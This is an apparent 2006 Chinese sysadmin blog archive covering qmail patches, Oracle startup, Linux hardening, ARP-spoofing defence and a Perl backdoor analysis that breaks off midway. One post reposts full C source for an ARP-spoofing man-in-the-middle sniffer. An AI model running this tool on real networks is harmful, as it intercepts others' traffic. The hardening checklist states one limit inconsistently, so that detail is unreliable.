diff -urN qmail-1.03.orig/qmail-send.9 qmail-1.03.nodoublebounce/qmail-send.9
--- qmail-1.03.orig/qmail-send.9 Mon Jun 15 04:53:16 1998
+++ qmail-1.03.nodoublebounce/qmail-send.9 Tue Sep 9 12:59:04 2003
@@ -115,6 +115,10 @@
(If that bounces,
.B qmail-send
gives up.)
+As a special case, if the first line of
+.IR doublebounceto
+is blank (contains a single linefeed), qmail-send will not queue
+the double-bounce at all.
.TP 5
.I envnoathost
Presumed domain name for addresses without @ signs.
diff -urN qmail-1.03.orig/qmail-send.c qmail-1.03.nodoublebounce/qmail-send.c
--- qmail-1.03.orig/qmail-send.c Mon Jun 15 04:53:16 1998
+++ qmail-1.03.nodoublebounce/qmail-send.c Tue Sep 9 13:02:43 2003
@@ -683,6 +683,8 @@
}
if (str_equal(sender.s,"#@[]"))
log3("triple bounce: discarding ",fn2.s,"\n");
+ else if (!*sender.s && *doublebounceto.s == '@')
+ log3("double bounce: discarding ",fn2.s,"\n");
else
{
if (qmail_open(&qqt) == -1)

--9jxsPFA5p3P2qPhR--

如果不希望产生任何bounce消息, 直接在qmail-send.c中的injectbounce()函数开头返回1即可,在qmail-send.c的650行后添加一行:
return 1;

即修改如下内容:
int injectbounce(id)
unsigned long id;
{
struct qmail qqt;
struct stat st;
char *bouncesender;
char *bouncerecip;


int injectbounce(id)
unsigned long id;
{
return 1;
struct qmail qqt;
struct stat st;
char *bouncesender;
char *bouncerecip;

编译安装即可。
如果老版本编译环境报错,就加在664行
int injectbounce(id)
unsigned long id;
{
struct qmail qqt;
struct stat st;
char *bouncesender;
char *bouncerecip;
int r;
int fd;
substdio ssread;
char buf[128];
char inbuf[128];
static stralloc sender = {0};
static stralloc quoted = {0};
datetime_sec birth;
unsigned long qp;
return 1;
if (!getinfo(&sender,&birth,id)) return 0; /* XXX: print warning */

Posted by vitter at 2006-04-26 17:02:49 | 评论 (1) | 引用

April 24, 2006

关闭和启动Oracle的几种方法总结

关闭和启动Oracle的几种方法总结
有以下几种启动方式:

1、startup nomount
非安装启动,这种方式启动下可执行:重建控制文件、重建数据库
读取init.ora文件,启动instance,即启动SGA和后台进程,这种启动只需要init.ora文件。

2、startup mount dbname
安装启动,这种方式启动下可执行:
数据库日志归档、
数据库介质恢复、
使数据文件联机或脱机,
重新定位数据文件、重做日志文件。

执行“nomount”,然后打开控制文件,确认数据文件和联机日志文件的位置,
但此时不对数据文件和日志文件进行校验检查。

3、startup open dbname
先执行“nomount”,然后执行“mount”,再打开包括Redo log文件在内的所有数据库文件,
这种方式下可访问数据库中的数据。

4、startup
等于以下三个命令
startup nomount
alter database mount
alter database open

5、startup restrict
约束方式启动
这种方式能够启动数据库,但只允许具有一定特权的用户访问
非特权用户访问时,会出现以下提示:
ERROR:
ORA-01035: ORACLE 只允许具有 RESTRICTED SESSION 权限的用户使用

6、startup force
强制启动方式
当不能关闭数据库时,可以用startup force来完成数据库的关闭
先关闭数据库,再执行正常启动数据库命令

7、startup pfile=参数文件名
带初始化参数文件的启动方式
先读取参数文件,再按参数文件中的设置启动数据库
例:startup pfile=E:\Oracle\admin\oradb\pfile\init.ora

8、startup EXCLUSIVE


有三种关闭方式:

1、shutdown normal
正常方式关闭数据库。

2、shutdown immediate
立即方式关闭数据库。
在SVRMGRL中执行shutdown immediate,数据库并不立即关闭,
而是在Oracle执行某些清除工作后才关闭(终止会话、释放会话资源),
当使用shutdown不能关闭数据库时,shutdown immediate可以完成数据库关闭的操作。

3、shutdown abort
直接关闭数据库,正在访问数据库的会话会被突然终止,
如果数据库中有大量操作正在执行,这时执行shutdown abort后,重新启动数据库需要很长时间。

Posted by vitter at 2006-04-24 12:51:52 | 评论 (0) | 引用

April 03, 2006

LINUX 基准安全清单

  系统安全记录文件操作系统内部的记录文件是检测是否有网络入侵的重要线索。如果你的系统是直接连到Internet,你发现有很多人对你的系统做Telnet/FTP登录尝试,可以运行"#more /var/log/secure | grep refused"来检查系统所受到的攻击,以便采取相应的对策,如使用SSH来替换Telnet/rlogin等。

  启动和登录安全性

  1. BIOS安全
  设置BIOS密码且修改引导次序禁止从软盘启动系统。

  2. 用户口令
  用户口令是Linux安全的一个基本起点,很多人使用的用户口令过于简单,这等于给侵入者敞开了大门,虽然从理论上说,只要有足够的时间和资源可以利用,就没有不能破解的用户口令。但选取得当的口令是难于破解的,较好的用户口令是那些只有他自己容易记得并理解的一串字符,并且绝对不要在任何地方写出来。

  3. 默认账号
  应该禁止所有默认的被操作系统本身启动的并且不必要的账号,当你第一次安装系统时就应该这么做,Linux提供了很多默认账号,而账号越多,系统就越容易受到攻击。
  可以用下面的命令删除账号。
  # userdel用户名
  或者用以下的命令删除组用户账号。
  # groupdel username

  4. 口令文件
  chattr命令给下面的文件加上不可更改属性,从而防止非授权用户获得权限。
  # chattr +i /etc/passwd
  # chattr +i /etc/shadow
  # chattr +i /etc/group
  # chattr +i /etc/gshadow

  5. 禁止Ctrl+Alt+delete重新启动机器命令
  修改/etc/inittab文件,将"ca::ctrlaltdel:/sbin/shutdown -t3 -r now"一行注释掉。然后重新设置/etc/rc.d/init.d/目录下所有文件的许可权限,运行如下命令:
  # chmod -R 700 /etc/rc.d/init.d/*
  这样便仅有root可以读、写或执行上述所有脚本文件。

  6. 限制su命令
  如果你不想任何人能够用su作为root,可以编辑/etc/pam.d/su文件,增加如下两行:
  auth sufficient /lib/security/pam_rootok.so debug
  auth required /lib/security/pam_wheel.so group=isd
  这时,仅isd组的用户可以用su作为root。此后,如果你希望用户admin能够用su作为root,可以运行如下命令:
  # usermod -G10 admin

  7. 删减登录信息
  默认情况下,登录提示信息包括Linux发行版、内核版本名和服务器主机名等。
对于一台安全性要求较高的机器来说这样泄漏了过多的信息。
可以编辑/etc/rc.d/rc.local将输出系统信息的如下行注释掉。
  # This will overwrite /etc/issue at every boot. So, make any changes you
  # want to make to /etc/issue here or you will lose them when you reboot
  # echo "" > /etc/issue
  # echo "$R" >> /etc/issue
  # echo "Kernel $(uname -r) on $a $(uname -m)" >> /etc/issue
  # cp -f /etc/issue /etc/issue.net
  # echo >> /etc/issue
  然后,进行如下操作:
  # rm -f /etc/issue
  # rm -f /etc/issue.net
  # touch /etc/issue
  # touch /etc/issue.net

  限制网络访问

  1.NFS访问
  如果你使用NFS网络文件系统服务,应该确保你的/etc/exports具有最严格的访问权限设置,也就是意味着不要使用任何通配符、不允许root写权限并且只能安装为只读文件系统。编辑文件/etc/exports并加入如下两行。
  /dir/to/export host1.mydomain.com(ro,root_squash)
  /dir/to/export host2.mydomain.com(ro,root_squash)
  /dir/to/export 是你想输出的目录,host.mydomain.com是登录这个目录的机器名,ro意味着mount成只读系统,root_squash禁止root写入该目录。为了使改动生效,运行如下命令。
  # /usr/sbin/exportfs -a

  2.Inetd设置
  首先要确认/etc/inetd.conf的所有者是root,且文件权限设置为600。设置完成后,可以使用"stat"命令进行检查。
  # chmod 600 /etc/inetd.conf
  然后,编辑/etc/inetd.conf禁止以下服务。
  ftp telnet shell login exec talk ntalk imap pop-2 pop-3 finger auth
  如果你安装了ssh/scp,也可以禁止掉Telnet/FTP。为了使改变生效,运行如下命令:
  #killall -HUP inetd
  默认情况下,多数Linux系统允许所有的请求,而用TCP_WRAPPERS增强系统安全性是举手之劳,你可以修改/etc/hosts.deny和/etc/hosts.allow来增加访问限制。例如,将/etc/hosts.deny设为 "ALL: ALL"可以默认拒绝所有访问。然后在/etc/hosts.allow文件中添加允许的访问。例如,"sshd: 192.168.1.10/255.255.255.0 gate.openarch.com"表示允许IP地址192.168.1.10和主机名gate.openarch.com允许通过SSH连接。
  配置完成后,可以用tcpdchk检查:
  # tcpdchk
  tcpchk是TCP_Wrapper配置检查工具,它检查你的tcp wrapper配置并报告所有发现的潜在/存在的问题。

  3.登录终端设置
  /etc/securetty文件指定了允许root登录的tty设备,由/bin/login程序读取,
其格式是一个被允许的名字列表,你可以编辑/etc/securetty且注释掉如下的行。
  # tty1
 # tty2
  # tty3
  # tty4
  # tty5
  # tty6
  这时,root仅可在tty1终端登录。

  4.避免显示系统和版本信息
  如果你希望远程登录用户看不到系统和版本信息,可以通过以下操作改变/etc/inetd.conf文件:
  telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd -h
  加-h表示telnet不显示系统信息,而仅仅显示"login:"。

  防止攻击

  1.阻止ping
  如果没人能ping通你的系统,安全性自然增加了。为此,可以在/etc/rc.d/rc.local文件中增加如下一行:
  echo 1 >/proc/sys/net/ipv4/
  icmp_echo_ignore_all

  2.防止IP欺骗
  编辑host.conf文件并增加如下几行来防止IP欺骗攻击。
  order bind,hosts
  multi off
  nospoof on

  3.防止DoS攻击
  对系统所有的用户设置资源限制可以防止DoS类型攻击。如最大进程数和内存使用数量等。
例如,可以在/etc/security/limits.conf中添加如下几行:
  * hard core 0
  * hard rss 5000
  * hard nproc 20
  然后必须编辑/etc/pam.d/login文件检查下面一行是否存在。
  session required /lib/security/pam_limits.so
  上面的命令禁止调试文件,限制进程数为50并且限制内存使用为5MB。

  安装补丁

  由于各种linux厂商的分版不同,我们建议您访问相关主页获取信息

  redhat
  ftp://updates.redhat.com/
  可使用下列命令安装补丁:
  rpm -Fvh [文件名]

  debian
  http://www.debian.org/security/
  您可以使用 apt 来下载最新的安全更新。把以下的一行
  deb http://security.debian.org/ slink updates
  或
  deb http://security.debian.org/ potato/updates main contrib non-free
  加进 /etc/apt/sources.list 档内便可。
  手工安装补丁包:
  使用apt-get自动安装补丁包:
  首先,使用下面的命令更新内部数据库:
  # apt-get update

  然后,使用下面的命令安装更新软件包:
  # apt-get upgrade
  手工安装:
  首先,使用下面的命令来下载补丁软件:
  # wget url (url是补丁下载链接地址)
  然后,使用下面的命令来安装补丁:
  # dpkg -i file.deb (file是相应的补丁名) 经过以上的设置,你的Linux服务器已经可以对绝大多数已知的安全问题和网络攻击具有免疫能力,但一名优秀的系统管理员仍然要时刻注意网络安全动态,随时对已经暴露出的和潜在的安全漏洞进行修补。

Posted by vitter at 2006-04-03 22:55:06 | 评论 (0) | 引用

March 30, 2006

遭遇流氓软件和局域网ARP欺骗病毒

上周遭遇流氓软件,总是打开广告,郁闷死了,用卡卡安全助手搞定了。
这周又遭遇ARP欺骗的病毒入侵,公司局域网内一台机器出现问题,随后出现间断性断网,由于网关是3层交换机不在我的管理权限内,没办法只好sniffer查找,在断网的瞬间应该能看到arp -a找到异常的MAC,如果网关的MAC错误那就是这个错误的MAC机器在ARP欺骗,在
nbtscan -r 192.168.1.0/24
之后发现这个IP,然后搞定他。

对付这种欺骗,就是用安全网关,建议用linux开HDCP,绑定ip和MAC强制所有的客户机器IP和其他信息从网关获得。另外网关机器关闭动态刷新ARP表使用静态路由。
网关建立静态IP/MAC捆绑的方法是:建立/etc/ethers文件,其中包含正确的IP/MAC对应关系,格式如下:
  192.168.2.32 08:00:4E:B0:24:25
  然后再/etc/rc.d/rc.local最后添加:
  arp -f 生效即可
建立MAC库,监听网关服务器。

由于我没法控制网关,只好强制自己的arp表里面的网关用静态的了:
写个批处理开机自动执行:
@echo off
arp -d
arp -s 172.16.37.254 00-00-0c-07-ac-05

Posted by vitter at 2006-03-30 11:56:33 | 评论 (0) | 引用

帮传媒的安装防垃圾邮件系统

他们的机器连编译环境和perl都没有,搞了半天才搞定。sendmail+Mimedefang+SpamAssassin+Chinese_rules.cf 可以参考《CCERT 中文垃圾邮件过滤规则集》

点击下载 http://www.securitycn.net/img/uploadimg/20060329/CCERT-Anti-Spam-Solutions.pdf

Posted by vitter at 2006-03-30 11:54:23 | 评论 (0) | 引用

March 29, 2006

could not locate your pod2man program

安装一个perl module的时候出了问题,perl Makefile.PL后提示

Warning: I could not locate your pod2man program. Please make sure, your pod2man program is in your PATH before you execute 'make'
解决思路:
1、which pod2man,pod2man在/usr/bin下
2、PATH变量,grep PATH,没有发现问题,Makefile.pl下加入
print $ENV{'PATH'};打印出来的正常
3、google之“I could not locate your pod2man program. Please make sure,”,发现第二个网页就解决问题了。
第二个网页是:http://archive.netbsd.se/?ml=spamassassin-users&a=2005-04&t=870609
http://wiki.apache.org/spamassassin/Pod2ManRedHat?highlight=%28pod2man%29
使用 LANG=C perl Makefile.PL,顺利通过

Posted by vitter at 2006-03-29 18:46:53 | 评论 (0) | 引用

RFC-2196站点安全手册

USENET 新闻组

(1) comp.security.announce
The comp.security.announce 只是用来给CERT顾问发布信息的。

(2) comp.security.misc
它是一个讨论计算机安全的论坛,尤其是UNIX操作系统相关的。

(3) alt.security
它也是一个计算机安全的论坛,象车锁和警报系统等问题。

(4) comp.virus
它主要是是关于就计算机病毒的新闻组。

(5) comp.risks
它主要是有关计算机和相关系统公开的危险性的新闻组。

WWW 页面

(1) http://www.first.org/

Computer Security Resource Clearinghouse. 主要关注的是计算机相应信息;计算机安全相关的攻击和解决等信息。有时候,它也作为计算机安全信息的一个通用的索引,包括各种广泛的主题,如通用危险性,隐私,合法问题,病毒,担保,策略和训练。


(2) http://www.telstra.com.au/info/security.html

这个参考索引包含一个有关网络和计算机安全的信息的链接的列表。并不能确保所有的都能很好的工作,这些信息只是用作计算机安全技术的教育和合法使用。

(3) http://www.alw.nih.gov/Security/security.html

这个页面由计算机安全的通用信息。这些信息使用每个部分(section)组成的,部分是由主题(topic)组成的。

(4) http://csrc.ncsl.nist.gov

包括了大量和计算机安全有关的声明,程序和文档。

* CERT and Tripwire 在美国专利和商标局注册使用

Posted by vitter at 2006-03-29 12:06:35 | 评论 (0) | 引用

March 10, 2006

arp sniffer

最近有人问起arpsniffer。
就顺便转个相关的文章:《基于ARP欺骗的嗅探原理 》
嗅探器(sniffer)是一种刺探网络中传输数据的工具。为达到这一目的,一般的做法是设置网卡为混杂模式,这样就可以嗅探到所有经过本机网卡的数据(这种一般的sniffer原理不在此阐述)。但是这种sniffer有一个缺点,就是它只适用于共享式局域网,对于交换式局域网无效。因为在交换式局域网中,网络中的数据并不会经过每一台主机的网卡,所以对于交换式局域网,就要用另外一种更为主动的方法去嗅探,那就是基于ARP欺骗的嗅探。
我们假设有三台主机A,B,C位于同一个交换式局域网中,攻击者处于主机A,而主机B,C正在通信。现在A希望能嗅探到B->C的数据,于是A就可以伪装成C对B做ARP欺骗——向B发送伪造的ARP应答包,应答包中IP地址为C的IP地址而MAC地址为A的MAC地址。这个应答包会刷新B的ARP缓存,让B认为A就是C,说详细点,就是让B认为C的IP地址映射到的MAC地址为主机A的MAC地址。这样,B想要发送给C的数据实际上却发送给了A,就达到了嗅探的目的。另外,由于ARP缓存是动态更新的,因此,我们要不断的向B发送伪造的ARP应答包,以防止B的ARP缓存中的IP-MAC映射关系被C改回来。(这里涉及到ARP欺骗的知识,如果对此有疑惑,请查阅相关资料。)当然,这样嗅探之后,本应接收到数据的C就不能接收到B发送过来的数据了,也就是说,B和C的通信相当于被中断了。因此,我们在嗅探到数据后,还必须将此数据转发给C,这样才能保证B,C的通信不被中断。
以上就是基于ARP欺骗的嗅探基本原理,在这种嗅探方法中,嗅探者A实际上是插入到了B->C中,B的数据先发送给了A,然后再由A转发给C,其数据传输关系如下所示:
B----->A----->C
B<------------C
当然,如果你还想嗅探到C->B的数据,还可以将A插入到C->B中,这样,就能嗅探到B,C间通信的全部数据了。
下面,还是用具体的代码来说明问题。在这个代码中,涉及到了IPHLPAPI和winpcap的编程,请查阅相关资料:

#include "stdafx.h"
#include "winsock2.h"
#include "Packet32.h"
#include "wchar.h"
#include "stdio.h"
#include "Iphlpapi.h"

#pragma comment(lib, "packet.lib")
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib,"iphlpapi.lib")

#define NDIS_PACKET_TYPE_DIRECTED 0x0001 //直接模式

#pragma pack(push, 1)

typedef struct _et_header //以太网头部
{
unsigned char eh_dst[6];
unsigned char eh_src[6];
unsigned short eh_type;
}ET_HEADER;

typedef struct _arp_header //ARP头部
{
unsigned short arp_hdr;
unsigned short arp_pro;
unsigned char arp_hln;
unsigned char arp_pln;
unsigned short arp_opt;
unsigned char arp_sha[6];
unsigned long arp_spa;
unsigned char arp_tha[6];
unsigned long arp_tpa;
}ARP_HEADER;

typedef struct _ip_header
{
char m_ver_hlen; //4位版本号,4位ip头部长
char m_tos;
USHORT m_tlen;
USHORT m_ident;
USHORT m_flag_frag; //3位标志位(1位未用位,1位DF,1位MF),13位片断偏移量
char m_ttl;
char m_protocol;
USHORT m_cksum;
ULONG m_sIP;
ULONG m_dIP;
}IP_HEADER;

typedef struct info //将被传递到监听线程的信息结构
{
LPADAPTER lpAdapter;
char simulateIP[20];
char targetIP[20];
}INFO;

#pragma pack(pop)

void usage()
{
printf("***********************************\n");
printf("* Made by ffantasyYD *\n");
printf("* QQ:76889713 *\n");
printf("* email:ffantasyYD@163.com *\n");
printf("***********************************\n");
printf("This program have 2 param: P2PSniffer targetIP simulateIP\n");
}

void StrToMac(char *str,char *mac) //自定义的将字符串转换成mac地址的函数
{
char *str1;
int i;
int low,high;
char temp;

for(i=0;i<6;i++)
{
str1=str+1;
switch(*str)
{
case 'a':high=10;
break;
case 'b':high=11;
break;
case 'c':high=12;
break;
case 'd':high=13;
break;
case 'e':high=14;
break;
case 'f':high=15;
break;
default:temp=*str;
high=atoi(&temp);
}
switch(*str1)
{
case 'a':low=10;
break;
case 'b':low=11;
break;
case 'c':low=12;
break;
case 'd':low=13;
break;
case 'e':low=14;
break;
case 'f':low=15;
break;
default:temp=*str1;
low=atoi(&temp);
}
mac[i]=high*16+low;
str+=2;
}
}

void getLocalMac(char *localMac,char *localIP) //获取本机MAC地址
{
ULONG numOfAdapter=0;
char mac[5][20]={0},IP[5][20]={0};

GetAdaptersInfo(NULL,&numOfAdapter); //取得网卡信息
if(numOfAdapter!=0)
{
IP_ADAPTER_INFO *pAdapterInfo=(IP_ADAPTER_INFO *)malloc( numOfAdapter*sizeof(IP_ADAPTER_INFO) );
memset( pAdapterInfo,0,numOfAdapter*sizeof(IP_ADAPTER_INFO) );
GetAdaptersInfo(pAdapterInfo,&numOfAdapter);

printf("Please select the local mac!\n");
for(int i=0;( (i<5) && (pAdapterInfo!=NULL) );i++)
{
sprintf(mac[i],"%02x%02x%02x%02x%02x%02x",pAdapterInfo->Address[0],pAdapterInfo->Address[1],pAdapterInfo->Address[2],
pAdapterInfo->Address[3],pAdapterInfo->Address[4],pAdapterInfo->Address[5]);
memcpy( IP[i],pAdapterInfo->IpAddressList.IpAddress.String,strlen(pAdapterInfo->IpAddressList.IpAddress.String) );

printf("%d, %s--%s\n",i+1,IP[i],mac[i]);
pAdapterInfo=pAdapterInfo->Next;
}
}

int index=0;
scanf("%d",&index);
memcpy(localMac,mac[index-1],strlen(mac[index-1]));
memcpy(localIP,IP[index-1],strlen(IP[index-1]));

return;
}

bool getRemoteMac(char *remoteMac,char *remoteIP) //获取远程主机MAC地址
{
WSADATA wsaData;
ULONG remoteAddr=0,macAddrLen=6;
char remoteMacTemp[6]={0};

if(WSAStartup(MAKEWORD(2,1), &wsaData)!=0)
{
printf("WSAStartup error!\n");
return FALSE;
}

remoteAddr=inet_addr(remoteIP);
if(SendARP(remoteAddr, (unsigned long)NULL,(PULONG)&remoteMacTemp, &macAddrLen)!=NO_ERROR)
{
printf("Get remote MAC failed!\n");
return FALSE;
}
memcpy(remoteMac,remoteMacTemp,6);
/*
for(int i=0; i<6; i++ )
{
printf( "%.2x", remoteMac[i] );
}
printf("\n");
*/
return TRUE;
}

void assay(LPADAPTER lpAdapter,LPPACKET lpPacket,char *targetIP,char *simulateIP) //分析接收到数据包
{
char *buf;
bpf_hdr *lpBpfhdr;
ET_HEADER *lpEthdr;
in_addr addr={0};

buf=(char *)lpPacket->Buffer;
lpBpfhdr=(bpf_hdr *)buf;
lpEthdr=(ET_HEADER *)(buf+lpBpfhdr->bh_hdrlen);

if(lpEthdr->eh_type==htons(0x0800)) //判断是否为IP包
{
IP_HEADER *lpIphdr=(IP_HEADER *)(buf+lpBpfhdr->bh_hdrlen+sizeof(ET_HEADER));
char source_ip[20]={0},dest_ip[20]={0};
addr.S_un.S_addr=lpIphdr->m_sIP;
memcpy(source_ip,inet_ntoa(addr),strlen(inet_ntoa(addr)));

memset(&addr,0,sizeof(in_addr));
addr.S_un.S_addr=lpIphdr->m_dIP;
memcpy(dest_ip,inet_ntoa(addr),strlen(inet_ntoa(addr)));

if( ( strcmp ( source_ip , targetIP ) == 0 ) && ( strcmp ( dest_ip , simulateIP ) == 0 ) )
{
printf("There is a IP packet from %s to %s !\n",targetIP,simulateIP);

//以下是将嗅探到的包发送到真正的目的地:
char mac[6]={0};
LPPACKET lpSendPacket=NULL;
char sendBuf[512]={0};

getRemoteMac(mac,simulateIP);
memcpy(lpEthdr->eh_dst,mac,6);
memcpy(sendBuf,lpEthdr,sizeof(ET_HEADER));
memcpy(sendBuf+sizeof(ET_HEADER),lpIphdr,ntohs(lpIphdr->m_tlen));

lpSendPacket=PacketAllocatePacket();
PacketInitPacket(lpSendPacket,sendBuf,512);

PacketSetNumWrites(lpAdapter,2);
PacketSendPacket(lpAdapter,lpSendPacket,TRUE);

PacketFreePacket(lpSendPacket); //释放PACKET结构指针
}
}
}

DWORD WINAPI Listen(void *param) //监听线程
{
LPADAPTER lpAdapter;
INFO *pInfo=(INFO *)param;
LPPACKET lpPacket;
char buf[512]={0};
lpAdapter=pInfo->lpAdapter;
//printf("%s,%s\n",pInfo->near_ip,pInfo->far_ip);

PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_DIRECTED); //设置网卡为直接模式
PacketSetBuff(lpAdapter,1024); //设置网卡接收数据包的缓冲区大小
PacketSetReadTimeout(lpAdapter,2); //设置接收到一个包后的“休息”时间

while(1)
{
lpPacket=PacketAllocatePacket(); //给PACKET结构指针分配内存
PacketInitPacket(lpPacket,buf,512); //初始化PACKET结构指针

PacketReceivePacket(lpAdapter, lpPacket, TRUE); //接收数据包
assay(lpAdapter,lpPacket,pInfo->targetIP,pInfo->simulateIP); //分析数据包

//每次收包后重置lpPacket:
PacketFreePacket(lpPacket);
memset(buf,0,512);
}

PacketFreePacket(lpPacket); //释放lpPacket
return 1;
}

int main(int argc, char* argv[])
{
char s_mac[6]={0};
LPADAPTER lpAdapter;
LPPACKET lpPacket;
ET_HEADER et_header;
ARP_HEADER arp_header;
static CHAR adapter_list[10][1024];
WCHAR adapter_name[2048];
WCHAR *name1,*name2;
ULONG adapter_length=1024;
ULONG i,adapter_num=0;
char buffer[512]={0};
INFO param={0};

usage();
if(argc!=3)
{
return -1;
}

//获取MAC地址:
char localMac[20]={0},localIP[20]={0};
getLocalMac(localMac,localIP);

char remoteMac[6]={0};
if(getRemoteMac(remoteMac,argv[1])==FALSE)
{
return -1;
}

//打开适配器:

//取得所有适配器的名字.
if(PacketGetAdapterNames((char*)adapter_name, &adapter_length)==FALSE)
{
//adapter_name:一个用于存放适配器的名字的缓冲区。一个适配器名字的每一个字符
//之间由一个'\0'隔开,两个适配器名字之间用两个'\0'隔开,连续遇到超过两个的
//'\0'就认为适配器名字已取完。
//adapter_length:这个缓冲区的大小
printf("PacketGetAdapterNames error:%d\n",GetLastError());
return -1;
}

name1=adapter_name;
name2=adapter_name;
i = 0;
//把adapter_name中的适配器名字,分别copy到adapter_list[]中,i从0开始为第一个
while((*name1!='\0') || (*(name1-1)!='\0'))
{
if(*name1=='\0')
{
memcpy(adapter_list[i],name2,2*(name1-name2));
name2=name1+1;
i++;
}
name1++;
}

//默认打开第一块适配器
lpAdapter=(LPADAPTER)PacketOpenAdapter((LPTSTR)adapter_list[0]);
if (!lpAdapter||(lpAdapter->hFile==INVALID_HANDLE_VALUE))
{
printf("Unable to open the driver, Error Code : %lx\n", GetLastError());
return -1;
}

//启动监听线程:
param.lpAdapter=lpAdapter;
memcpy(param.targetIP,argv[1],strlen(argv[1]));
memcpy(param.simulateIP,argv[2],strlen(argv[2]));
CreateThread(NULL,0,Listen,¶m,0,NULL);

//伪造ARP应答包:
StrToMac(localMac,s_mac); //local_mac
memcpy(et_header.eh_src,s_mac,6);

memcpy(et_header.eh_dst,remoteMac,6);

et_header.eh_type=htons(0x0806); //类型为0x0806表示这是ARP包

arp_header.arp_hdr=htons(0x0001); //硬件地址类型以太网地址
arp_header.arp_pro=htons(0x0800); //协议地址类型为IP协议
arp_header.arp_hln=6; //硬件地址长度为6
arp_header.arp_pln=4; //协议地址长度为4
arp_header.arp_opt=htons(0x0002); //标识为ARP应答

arp_header.arp_spa=inet_addr(argv[2]); //source_ip
memcpy(arp_header.arp_sha,et_header.eh_src,6);
arp_header.arp_tpa=inet_addr(argv[1]); //target_ip
memcpy(arp_header.arp_tha,et_header.eh_dst,6);

memcpy(buffer,&et_header,sizeof(ET_HEADER));
memcpy(buffer+sizeof(ET_HEADER),&arp_header,sizeof(ARP_HEADER));

//发送伪造地ARP应答包:
lpPacket=PacketAllocatePacket(); //给PACKET结构指针分配内存
PacketInitPacket(lpPacket,buffer,512); //初始化PACKET结构指针

if(PacketSetNumWrites(lpAdapter,2)==FALSE) //设置发送次数
{
printf("warning: Unable to send more than one packet in a single write!\n");
}

printf("Start.............\n");
while(1)
{
if(PacketSendPacket(lpAdapter,lpPacket,TRUE)==FALSE) //不断发送伪造的ARP应答包达到欺骗目标主机的目的
{
printf("Error sending the packets!\n");
break;
}
Sleep(2000);
}

PacketFreePacket(lpPacket); //释放PACKET结构指针
Sleep(5000);
PacketCloseAdapter(lpAdapter); //关闭适配器
return 0;
}
以上就是这种嗅探的基本实现。当然,要对交换式局域网中的数据进行嗅探还有很多种方法,比如,可以用ARP欺骗去欺骗交换机等。总之,方法有很多,只有想不到,没有做不到。

Posted by vitter at 2006-03-10 14:40:57 | 评论 (0) | 引用

February 21, 2006

一段对perl 木马的分析

Coolc
JustIce Security Team

背景
一个朋友的服务器出现了一个莫名其妙的inetd 进程,开了 21000 端口,怀疑被入侵。登陆上去简单检查了一下,发现骇客不留神把后门的一个副本,遗留在临时目录下。经过检查是个用 perl 脚本写的后门。叫 Telnet-like Standard Daemon。后门找到了,入侵事件也基本被定性。
1. 目前主机上还运行着该后门,很有可能黑客已经通过编写启动脚本,将后门加入了随机启动。
2. 该主机存储了大量文件,同时容量很大,普通的find 和grep 命令很难在短时间内完成检索
3. 为了保证性能,主机没有启动locate 服务
4. 该主机是一台redhat 主机,但是redhat 只能检查启动脚本一部分文件的完整性。

rpm -qV initscripts
rpm -qf /etc/init.d

经过检查没有发现改动。
5. 整个主机关键目录没有做完整性校验工作。

一切似乎清晰明了,我们下一步就是找出进程中木马的位置,将其处理。但是在定位木马路径时却出现很大的困难。

分析过程
将代码下载到实验机上分析。

启动后门程序

debian:/# perl /tmp/coolc.pl

debian:/# ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 13:09 ? 00:00:02 init [2]
root 2 1 0 13:09 ? 00:00:00 [ksoftirqd/0]
root 3 1 0 13:09 ? 00:00:17 [events/0]
root 4 3 0 13:09 ? 00:00:00 [khelper]
root 5 3 0 13:09 ? 00:00:00 [kacpid]
root 38 3 0 13:09 ? 00:00:00 [kblockd/0]
root 48 3 0 13:09 ? 00:00:00 [pdflush]
root 49 3 0 13:09 ? 00:00:01 [pdflush]
root 51 3 0 13:09 ? 00:00:00 [aio/0]
root 50 1 0 13:09 ? 00:00:00 [kswapd0]
root 193 1 0 13:09 ? 00:00:00 [kseriod]
root 214 1 0 13:09 ? 00:00:00 [scsi_eh_0]
root 221 1 0 13:09 ? 00:00:00 [khubd]
root 299 1 0 13:09 ? 00:00:01 [kjournald]
root 1109 1 0 13:10 ? 00:00:00 [pciehpd_event]
root 1129 1 0 13:10 ? 00:00:00 [shpchpd_event]
root 1680 1 0 13:10 ? 00:00:00 dhclient -e -pf /var/run/dhclient.eth0.pid -lf /var/run/dhclient.eth0.leases eth0
root 2024 1 0 13:10 ? 00:00:00 /sbin/syslogd
root 2027 1 0 13:10 ? 00:00:00 /sbin/klogd
Debian- 2059 1 0 13:10 ? 00:00:00 /usr/sbin/exim4 -bd -q30m
root 2065 1 0 13:10 ? 00:00:00 /usr/sbin/inetd
root 2080 1 0 13:10 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
root 2116 2080 0 13:10 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 2117 2116 0 13:10 ? 00:00:00 /usr/sbin/mysqld --basedir=/usr
--datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysq
root 2118 2116 0 13:10 ? 00:00:00 logger -p daemon.err -t mysqld_safe -i -t mysqld
root 2165 1 0 13:10 ? 00:00:00 /usr/sbin/sshd
daemon 2204 1 0 13:11 ? 00:00:00 /usr/sbin/atd
root 2207 1 0 13:11 ? 00:00:00 /usr/sbin/cron
root 2214 1 0 13:11 ? 00:00:05 /usr/sbin/apache
root 2230 1 0 13:11 tty1 00:00:16 -bash
root 2247 1 0 13:11 tty3 00:00:00 /sbin/getty 38400 tty3
root 2253 1 0 13:11 tty4 00:00:00 /sbin/getty 38400 tty4
root 2259 1 0 13:11 tty5 00:00:00 /sbin/getty 38400 tty5
root 2265 1 0 13:11 tty6 00:00:00 /sbin/getty 38400 tty6
www-data 2276 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
www-data 2277 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
www-data 2278 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
www-data 2279 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
www-data 2290 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
root 2338 1 0 13:18 tty2 00:00:05 -bash
root 2381 2165 0 13:29 ? 00:00:15 sshd: root@pts/0,pts/1
root 2384 2381 0 13:29 pts/0 00:00:02 -bash
root 2401 2381 0 13:30 pts/1 00:00:00 -bash
